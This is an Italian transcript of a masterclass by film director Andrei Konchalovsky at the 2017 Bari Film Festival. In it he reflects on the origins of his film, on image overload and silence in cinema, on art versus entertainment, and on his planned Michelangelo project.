Uncategorized maggio 25, 2017

Masterclass di Andrei Konchalovsky al Bari Film Festival – 22 aprile 2017

Le emozioni non sono tante, sono soltanto tre: la paura, il pianto e il riso. Queste tre emozioni sono come le tre maschere della tragedia greca, c’è l’orrore, c’è la compassione e c’è la commedia. Sono come le tre corde della balalaika. Sono come queste tre corde che vanno toccate e non c’è altro modo per arrivare all’anima se non toccare una di queste corde.

D: Per concludere con la visione di questo film… come è nata questa storia?

AK: Non posso parlare italiano, scusate. L’anno prossimo… (applausi).
Ogni film ha le sue radici, in termini di idee. Questa in particolare nasce da una lettura che ho fatto circa 25 anni fa. Sono venuto a sapere di questa donna russa che aveva nascosto a Parigi alcuni bambini ebrei. E per questo era stata prima arrestata e poi decapitata. Il suo nome era Vicky Obolensky. E poi ho letto un altro libro che si chiama “Les Bienvieillantes” di Johnathan Littel ed è un libro che parla appunto degli alti ufficiali nazisti. E’ un romanzo che poi nel frattempo è stato premiato (Prix Goncourt) e nel frattempo la mia idea stava crescendo… questa idea originaria e alla lettura di questo libro che appunto è stato premiato, sono rimasto particolarmente colpito dalla figura dell’eroe che era anche il narratore di questa storia, che era appunto un alto ufficiale tedesco delle SS.
Ho trovato particolarmente interessante la prospettiva da cui questa storia veniva raccontata, che era appunto si, quella di un ufficiale delle SS tedesco ma anche di un normale aristocratico tedesco. Fondamentalmente di una brava persona che ad un certo punto aveva abbracciato l’ideale nazista. E quindi mi aveva affascinato questa connessione, questo collegamento che esiste tra una brava persona e un’ideologia così terribile. Come cioè un’idea possa penetrare nel cervello di una persona assolutamente normale. La storia non era su quanto brutto, cattivo e terribile fosse il nazismo ma su quanto affascinante e seduttivo possa essere il potere del male. Ed è da qui che poi è partita la storia. In fondo il male veste spesso dei panni molto eleganti e molto seduttivi. Ed è per questo che molte persone fanno il male credendo di fare il bene, come ad esempio, bombardare la Serbia. Ed è nel nome di ideali positivi che spesso si fanno delle cose terribili. Ed ecco perché questo è il potere della seduzione del male, altrimenti nessuno le farebbe queste cose.

D: Guardando indietro alla sua carriera e al suo lavoro in generale, lei è una regista veramente eclettico, che ha raccontato tanti tipi di storie…

AK: E’ come lavorare in giardino… ci sono fiori diversi! In realt{ ci sono altri registi altrettanto eclettici. Penso a Kurosawa, che ha fatto tutto. Ha fatto tragedie, commedie, western… era un regista molto eclettico e molto curioso e quindi anche io sono andato in diverse direzioni. Sono andato… non adesso. Adesso sto andando in una sola direzione. Questa direzione significa scoprire davvero cosa significhi cinematografia. Perché ora noi siamo bombardati giornalmente di tantissime immagini, immagini accompagnate dal suono. E’ una specie di diarrea mentale giornaliera, costante. Ce ne sono tantissimi di spot televisivi, mini serie televisive, immagini ovunque, immagini accompagnate dal suono. E si è perso il valore di tutto questo. Non sono più soldi, è semplicemente carta verde. Non c’è più il significato di tutto questo. Si è perso. Ed è per questo che ho cominciato a pensare che non guardiamo più al valore della singola immagine accompagnata dal suono. Guardiamo semplicemente tantissime immagini contemporaneamente. Nel cervello di un giovane di oggi, lui si vede come in un selfie, come se si facesse un selfie. Gli psicologi l’hanno proprio classificata come una malattia. Si chiama “selfie sickness” cioè farsi continuamente una grandissima quantit{ di selfie. Ed ecco perché nella cinematografia attuale ed in particolare mi riferisco ai giovani cineasti americani, sembra che questa sia l’unica possibilit{ di fare le cose. Che non ci sia altro modo. E ogni immagine descrive un pezzo, una parte di azione. L’immagine di per sé oggi non ha alcun valore. E in tutti i film americani odierni, in parte persino nei miei film americani, ci sono circa 2000 immagini al minuto cioè, al secondo direi, ogni due secondi c’è un’immagine che cambia. E tutte queste immagini richiedono poi tantissimo suono audio, tantissima musica. E questa musica, questo suono, devono essere assolutamente altissimi! Ricordo che quando ho girato il mio ultimo film americano, il produttore continuava a dirmi “devi fare una colonna sonora che abbia il più alto volume possibile” e io non capivo. Gli ho chiesto “ma perché vuoi che questa colonna sonora sia così alta?” “Perché il pubblico oggi non sente… è troppo intento a masticare pop corn e quindi poi non sente”.

In questo senso penso che noi abbiamo dimenticato il valore dell’immagine e il valore del suono, perché il suono per esistere, deve nascere dal silenzio. Ed è per questo che ho vietato i pop corn ad ogni mia proiezione, ad ogni mio film. Quindi non voglio che si mangino pop corn durante i miei film e grazie quindi che anche voi non lo stiate facendo in questo momento. Ed è un fenomeno molto interessante questo, perché l’immagine odierna è un’immagine che richiede la masticazione, richiede di masticare qualcosa. Questo tipo di film che vengono girati oggi implicano la masticazione di qualcosa. Se voi andate in chiesa, al teatro… di certo non masticate perché volete ascoltare, perché volete pensare. E credo sia altrettanto importante non dimenticare quanto silenzio sia necessario e abbia un significato all’interno della nostra vita. E devo dire che provo una grande pena ed è un vero peccato quando vedo tanti giovani in aereo, in autobus, per la strada… con queste cuffiette nelle orecchie costantemente. Perché hanno perso il valore principale nella loro vita, cioè, il silenzio. Per me il silenzio è la migliore manifestazione di Dio.

D: Invece il suo cinema come esplora questa diversità? Cioè, la direzione che ha preso…

AK: La direzione è studiare la lingua del cinema… la direzione appunto è capire il significato del cinema, perché ogni immagine deve avere un valore, troppe immagini significano una svalutazione dell’immagine stessa, appunto una diarrea di immagini.

D: Ci sono molti studenti qui nella sala…

AK: Si lo so, so che ci sono molti studenti e sono molto contento di questa cosa, anche perché credo sia molto importante per i giovani oggi, quei giovani che pensano al futuro, fare uno sforzo, trovare del tempo per stare in silenzio, per studiare se stessi. Ovviamente non sono pazzo quando ripeto in maniera quasi ossessiva del silenzio, quando parlo costantemente del silenzio, però io vedo questa fame costante nell’uomo moderno che c’è, e al contrario, manca proprio il tempo… è venuto meno il tempo per la contemplazione. E credo che la contemplazione sia una parte fondamentale dell’armonia. Contemplare significa sedersi e guardare il fuoco, le stelle, l’acqua o anche un semplice bicchiere; e se si guardano queste cose in silenzio, ad un certo punto si comincia a percepire se stessi. Troppe immagini, troppo suono, ovviamente portano ad un essere umano che è solo un essere che percepisce, che non sente. Un essere umano percettivo, e non è un caso che la cinematografia contemporanea sia nata dalle droghe e sia nata da MTV perché MTV è la percezione di un cervello drogato e questa cosa non ha senso. E la cosa peggiore è che noi non possiamo combattere tutto questo, non possiamo evitarlo. Certo possiamo dire che è una cosa negativa, dobbiamo prendere atto che questo fenomeno è qui. Ci sono delle menti illuminate, eccelse, ed è per questo che è importante nominarle, perché queste menti ci ricordano che c’è bisogno della memoria e la memoria come diceva Umberto Eco nasce dal silenzio. E anche questo si ripercuote nei rapporti fra le persone. Sapete… quando le persone hanno poche cose da condividere, allora parlano tantissimo. Se invece hanno molto da condividere allora può nascere anche qualche intenso momento di silenzio. E sapete… non mi piace molto la parola “masterclass” perché masterclass implica un master, implica cioè che io debba essere un maestro, in realtà io sono una persona come voi, sono un essere pensante che cerca di capire. E adesso sto cercando di capire il cinema. Il cinema come sequenza di immagini dove però ogni immagine ha il suo valore intrinseco che può avere in quel momento.

D: Quali sono, per condividerli con gli studenti, le influenze maggiori nella sua vita, nella sua carriera… registi, scrittori, musicisti, poeti…

AK: Vi posso dire che nella mia vita ci sono state tante, diverse infatuazioni. Ciò nonostante, nella mia giovinezza, avevo un orientamento molto chiaro. E quindi penso al neo realismo, a Fellini, Kurosawa, Bunuel, Bresson, a tutti i grandi del cinema mondiale. Quando il cinema era ancora per le persone che non masticavano pop corn! Perché allora il cinema era un’arte per gli adulti, per i genitori, mentre oggi il cinema è un’arte per bambini, per teenager. E adesso i genitori non vanno più al cinema, restano a casa e questo credo sia una cosa molto triste. Per questo cerco di fare film per i genitori, cioè film per persone che leggono libri. E quindi, quando ero giovane, insieme a Tarkovsky, abbiamo studiato Kurosawa, Bunuel, Bergman, Fellini, Bresson, Rossellini, De Sica… perché era molto chiaro sin dall’inizio chi si dovesse seguire, da chi si doveva rubare. All’epoca era un mondo, ed era un cinema eroico.

Queste persone, queste personalità erano dei giganti. Erano come quei pilastri che tengono insieme… che tengono in piedi un ponte. Oggi c’è un regista che un giorno è un gigante e dopo qualche tempo è completamente dimenticato. Ieri era Tarantino, oggi è qualcun altro; ed è un mondo che cambia costantemente. Ed è un grande problema quello dei giovani di oggi. Anche dei giovani cinesasti che non sanno dove nuotare; nuotano nel buio alla ricerca di una luce. Questo è un grande problema. Io vorrei aiutarli in qualche modo ma in realtà non so come. In realtà oggi le opportunità per fare film sono infinite per un giovane. Voglio dire, basta prendere l’Iphone, gli Iphone odierni sono di altissima qualità e probabilmente tra 10 anni quel tappo lì sarà in grado di riprodurre delle immagini con una sonorità stereo meravigliosa. Che cosa significa questo? Che la produzione, la creazione di un film è praticamente a costo zero. Questo però non significa che si possono fare dei grandi film.

E sapete… nel Rinascimento l’arte era quella di fare un ritratto esattamente fedele, uguale al modello, all’original. Penso a Leonardo, Raffaello, Pinturicchio… Loro erano grandi artisti, erano maestri, proprio perché erano in grado di riprodurre fedelmente, con la loro pittura, un essere umano. Oggi se riesco a riprodurre fedelmente qualcosa con un qualsiasi piccolo oggetto, diciamo che è una cosa che posso fare sempre e che in teoria può fare chiunque.
Quindi, la riproducibilit{ perfetta è una cosa che possono fare tutti. Quindi dov’è l’arte oggi? L’arte del cinema oggi non è nient’altro che la scelta, la selezione delle immagini. Sapete… fare un film brutto è esattamente uguale a come fare un film bello. Bisogna scrivere la sceneggiatura, fare il casting, poi girare, poi fare il montaggio, scegliere la musica, trovare i fondi, la produzione… e questo processo vale tanto per i bei film quanto per i brutti film. Che cosa fa la differenza? Proprio la scelta e la selezione delle immagini. E quindi il valore di ogni immagine può essere d’oro, può essere altissimo o può essere bassissimo.

E quindi, praticamente, è come una casa, puoi avere mattoni d’oro e puoi avere mattoni di polvere… e con mattoni scadenti si può creare una bellissima casa, così come con mattoni d’oro si può creare una pessima casa. Perché non è soltanto una questione di valore di ogni singola immagine ma è l’accostamento della singola immagine. Immagine dopo immagine, immagine verso immagine, che fa la differenza. Qual è il risultato? Che magari voi potete vedere qualcosa e mentre la guardate fate altro, mangiate pop corn, vi soffiate il naso o che so io. Oppure potete restare completamente fermi, stupiti e potete reagire… potete piangere, ridere e dire alla fine che è stato un film… che è stato qualcosa di fantastico. E di base potrebbe trattarsi della stessa storia, penso a Don Giovanni. Don Giovanni potrebbe essere una storia pessima o una storia molto bella o comunque una rappresentazione brutta o una rappresentazione molto bella. Non è nella storia il valore, il valore è nel come la racconti.

Non ci sono storie noiose, ci sono solo narratori noiosi. Anton Cechov lo scrittore russo diceva “io posso scrivere un romanzo meraviglioso su un posacenere… posso scrivere qualcosa di meraviglioso su qualsiasi cosa io voglia. Non è importante la storia in se quanto il modo di raccontarla. E magari c’è stato qualche regista italiano che ha fatto un film praticamente sul niente e ha creato un capolavoro. Oppure come il primo e il secondo film di Ermanno Olmi. La storia praticamente è una storia piccola, una storia di niente ma è una storia che crea grandissima emozione, è una storia che si sente, si percepisce. Pensate a Otto e Mezzo di Fellini. La storia è molto semplice, è la storia di un uomo, di un semplice uomo che non sa come fare un film. E’ una storia di niente fondamentalmente, ma di fatto è un capolavoro.

C’è un drammaturgo americano, uno scrittore americano, David Mamet, che ha scritto una fantastica opera “Bambi contro Gozilla. E’ un film fondamentalmente di artisti contro Hollywood, gli artisti versus Hollywood. Possiamo metterla in questo senso… e se siete interessati al film e alla cinematografia vi consiglio vivamente di leggerlo perché è un libro molto interessante.

Lui dice che c’è un enorme differenza fra l’arte e l’entertainment, il divertimento. E diciamo che il divertimento è qualcosa che tu guardi, ti provoca emozioni positive, ti eccita, ma non appena questa cosa è finita, te la sei già bella e dimenticata; come i film porno.
I film porno sono divertimento, sono entertainment. I luna park sono divertimento. Noi entriamo, paghiamo il biglietto, facciamo tante cose diverse, paghiamo, andiamo sulle giostre… poi usciamo e diciamo “va bene, compriamoci un panino”. E l’arte ovviamente ha in se questo germe del divertimento, perché è qualcosa che suscita delle emozioni. Però quando finisce, non è qualcosa che dimentichiamo immediatamente. La grande arte si ha quando magari guardiamo qualcosa, siamo lì e tutto quello che vogliamo per qualche momento è restare in silenzio. Perché poi noi vogliamo restare in silenzio? Perché non vogliamo dire subito quanto sia bello, quanto sia fantastico quello che stiamo vedendo? Perché quello che stiamo vivendo in quel momento è una specie di shock emotivo, è un’eccitazione emotiva ed emozionale. Siamo in qualche modo perturbati. E questa emozione è così forte che sentiamo la necessità di capirla, di comprenderla, di rifletterci e quindi di restare in silenzio. Perché solo attraverso il pensiero, la riflessione, è possibile… solo attraverso il silenzio… sapete un’opera d’arte e quindi una grande emozione, non va qui (indica la testa), va qui e qui (indica cuore e pancia). Quindi non tocca la testa, tocca più in basso e se tocca più in basso, è qualcosa di molto profondo. E dopo aver visto una grande arte, abbiamo bisogno di pensarci, e appunto, di farlo in silenzio. E la grande arte solitamente non da risposte, la grande arte solitamente pone domande che non hanno risposta. E la grande arte solitamente ha fiducia in voi. La grande arte dice “siete voi a dover decidere. Non siamo noi a dover decidere per voi. Siete voi a decidere che cosa sia bene e che cosa sia male. Siete voi i giudici, non noi. E quindi la grande arte ha tanta fiducia, una grande fiducia nel suo pubblico, siano essi degli spettatori o dei lettori. E per questo che questo pubblico non può essere composto da teen ager perché i teen ager sono giovani appunto, sono immaturi e hanno bisogno di risposte ed è per questo che non possono essere loro i principali destinatari.

E sapete, i giovani non sono ancora in grado di prendere delle decisioni. Mi ricordo anche che quando io ero ragazzo trovato estremamente noioso leggere Cechov o leggere Guerra e Pace di Tolstoj ma non è che mi dia colpa di questo. Ero un bambino, era normale che fosse così. Man mano che sono cresciuto ho letto questi capolavori e li ho letti tante volte e tutte le volte li ho trovati sempre più interessanti. E la stessa cosa vale per l’arte. Ma l’arte si differenzia dalla filosofia e dalla scienza perché l’arte non si applica al cervello, non prende il cervello bensì le emozioni.

E sapete… le emozioni non sono tante, sono soltanto tre: la paura, il pianto e il riso. Queste tre emozioni sono come le tre maschere della tragedia greca, c’è l’orrore, c’è la compassione e c’è la commedia. Sono come le tre corde della balalaika. Sono come queste tre corde che vanno toccate e non c’è altro modo per arrivare all’anima se non toccare una di queste corde.

Ogni opera, film, spettacolo teatrale, qualsiasi cosa, deve toccare una di queste corde dentro di voi. Perché questo accada, c’è bisogno anche del vostro sforzo. Dovete credere. Se non credete, le emozioni non si manifestano tranne forse quella di dire “ok ho speso un sacco di soldi per vedere un film assolutamente stupido. Se voi pensate alle grandi opere di Shakespeare, di Checov… è sempre un andirivieni, uno spostamento tra queste tre emozioni. A volte c’è la paura, a volte c’è la commedia, direi addirittura… nel caso delle commedie di Shakespeare, una commedia estetica; e poi c’è la compassione, il sentire insieme. Ed è tutto un passaggio dall’una all’altra emozione. Una specie di onde emotive da cui voi venite travolti e che sentite dentro di voi. State magari sorridendo, poi ad un certo punto vedete del sangue e siete terrorizzati e che cosa succede? Voi diventate in quel momento come i bambini, perché solo i bambini credono senza porsi alcuna domanda a tutto quello che viene loro detto. E quindi quando andate al teatro, al cinema, in un museo, quello che dovete e volete fare è appunto diventare dei bambini, non avere un approccio critico, intellettuale, perché volete piangere, volete ridere e volete avere paura. Ed è tutto qui. E’ semplice, anche se in realtà è molto molto difficile da raggiungere. E quando io vedo la grande arte, sono subito molto molto grato all’autore, all’artista, al regista per aver risvegliato in me e nel mio vecchio cervello cinico il bambino che è dentro di me, la parte infantile che è in me.

D: Ci fa qualche esempio di opere d’arte che l’hanno… film, libri…

AK: Guarda… non te li voglio neanche nominare perché sono talmente tanti! Prendete qualcosa di classico, un film classico, un’opera intesa come tale per eccellenza… sentirete questa evoluzione e questo cambiamento di emozioni. Una regola generale che si applica un po’ ovunque perché quello che non si vuole fare quando si guarda la grande arte è appunto analizzare, criticare… si vuole soltanto sentire. La grande arte ci porta a non voler capire come funzionano le cose. Però l’arte ha le sue regole del gioco ed è importante sapere che ogni forma d’arte ha le sue regole del gioco. Se voi andate a vedere l’opera, magari ad un certo punto vi capita di vedere un uomo molto grasso, di oltre 100 kg, che grida, che urla. Lui sta urlando e voi improvvisamente urlate di gioia. E’ strano, è molto strano ma è così che funziona. Quando vedete Pavarotti che canta il Rigoletto non dovete stare a capire, non dovete stare a guardare, dovete semplicemente chiudere gli occhi, lasciarvi trasportare e piangere. Ovviamente, nel cinema le regole del gioco sono completamente diverse. Sapete, io penso che ogni forma d’arte sia una bugia, ma una bugia che ci aiuta a capire la verit{ della vita. E la verità della vita è qualcosa che non sappiamo esattamente cosa sia ma è qualcosa in cui crediamo. Qualcosa che vorremmo poter spiegare ma che in realtà non sappiamo spiegare ma sappiamo nello stesso tempo che è vera, altrimenti non ci crederemmo. E poi, così quando si va al cinema si materializza questo grande sogno. Il sogno in cui voi siete seduti e guardate per due ore in silenzio le immagini che cambiano. E’ la magia dei sentimenti, è la magia dell’emozione, delle vostre emozioni. E’ qualcosa di segreto, è qualcosa che appunto non potete spiegare, non potete apprendere. Magari potete provare a comprenderne il linguaggio. Ma è qualcosa che non si può spiegare. È appunto la magia delle emozioni.

D: Prima di dare la parola al pubblico volevo chiederle… sappiamo che il prossimo passo della sua carriera, della sua produzione, riguarda un grande artista, Michelangelo. Che cosa significa per un artista esplorare la vita di un altro artista?

AK: Niente. Niente perché noi non facciamo film sugli artisti, sugli operai, sugli ingegneri… noi facciamo film sugli esseri umani e un essere umano può essere un artista o può essere un minatore per quanto mi riguarda. Penso che potrei fare un film su di te! Certo… avrei bisogno di un po’ di tempo, magari diciamo… una settimana e avrei bisogno della tua attenzione e potrei fare un film sulla tua vita quotidiana: quando ti alzi, quando vai in bagno, quando ti fai la barba, quando vai al lavoro, se magari parli con le persone o litighi con qualcuno… e credo che questo materiale comunque potrebbe far venire fuori un buon film perché troverei dei momenti intensi in tutto questo da poter mettere insieme. Non abbiamo bisogno di attori per fare un buon film. Abbiamo bisogno di esseri umani. Ovviamente in teatro c’è bisogno di attori, nell’opera c’è bisogno di cantanti, per il balletto c’è bisogno di danzatori. Non parlo neanche di fare documentari. Questa cosa dei documentari credo sia un po’ una fissazione. Creeremmo una bella bugia attraverso la verità della tua vita.

Per esempio potrei metterti un po’ di parole, sottotitolate magari per esprimere i tuoi pensieri, metterei qualche sottotitolo magari in una situazione come questa, in cui sei seduto con un regista, lo stai intervistando e stai pensando “mamma mia quando è che finisce? mi sto annoiando a morte…” e sarebbe una cosa molto interessante perché io ti entrerei nella testa e ti farei pensare queste cose e il risultato sarebbe carino. Se entrate nella mia testa in questo momento, sapete che io sto pensando a quello che io mangerò fra un paio d’ore, non sto esattamente pensando a quello che sto dicendo, sto pensando agli spaghetti di dopo.

D: Bene… sono lusingato da essere soggetto del prossimo film di Andrei Konchalovsky…

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